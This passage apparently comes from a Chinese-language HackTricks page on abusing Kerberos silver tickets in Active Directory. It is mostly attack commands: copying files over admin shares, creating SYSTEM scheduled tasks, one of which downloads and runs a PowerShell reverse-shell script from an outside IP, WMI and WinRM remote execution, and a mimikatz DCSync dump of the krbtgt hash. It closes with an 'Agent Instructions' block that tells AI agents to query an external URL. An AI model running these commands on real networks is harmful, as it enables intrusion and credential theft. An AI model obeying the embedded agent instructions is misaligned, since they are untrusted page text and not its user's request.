|
| 黄金票证 | krbtgt |
使用**Rubeus**，您可以使用以下参数请求所有这些票证：
* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### 银票事件ID
* 4624: 帐户登录
* 4634: 帐户注销
* 4672: 管理员登录
## 滥用服务票证
在以下示例中，假设通过模拟管理员帐户检索了票证。
### CIFS
有了这张票，您就可以通过**SMB**访问`C$`和`ADMIN$`文件夹（如果它们被公开），并通过执行类似以下操作将文件复制到远程文件系统的某个位置：
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
### 主机
有了这个权限，您可以在远程计算机中生成计划任务并执行任意命令：
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### 主机 + RPCSS
使用这些票据，您可以在受害系统中执行 WMI：
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
```
在以下页面查找有关**wmiexec的更多信息**：
{% content-ref url="/pages/Zv2UZxDuIqSoy3UVtVUu" %}
[WmicExec](/windows-hardening/lateral-movement/wmicexec.md)
{% endcontent-ref %}
### 主机 + WSMAN (WINRM)
通过计算机上的winrm访问，您可以**访问它**，甚至获取PowerShell：
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
### LDAP
拥有这个权限后，您可以使用**DCSync**来转储域控制器数据库：
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**了解更多关于DCSync**请查看以下页面：
## 参考资料
*
*
{% content-ref url="/pages/pWeCZrLMMQQYjHdGzHq1" %}
[DCSync](/windows-hardening/active-directory-methodology/dcsync.md)
{% endcontent-ref %}
**漏洞赏金提示**：**注册**Intigriti，一个由黑客创建的高级**漏洞赏金平台**！立即加入我们，访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！
{% embed url="" %}
从零开始成为AWS黑客大师，使用htARTE（HackTricks AWS红队专家）！
支持HackTricks的其他方式：
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://hacktricks.xsx.tw/windows-hardening/active-directory-methodology/silver-ticket.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.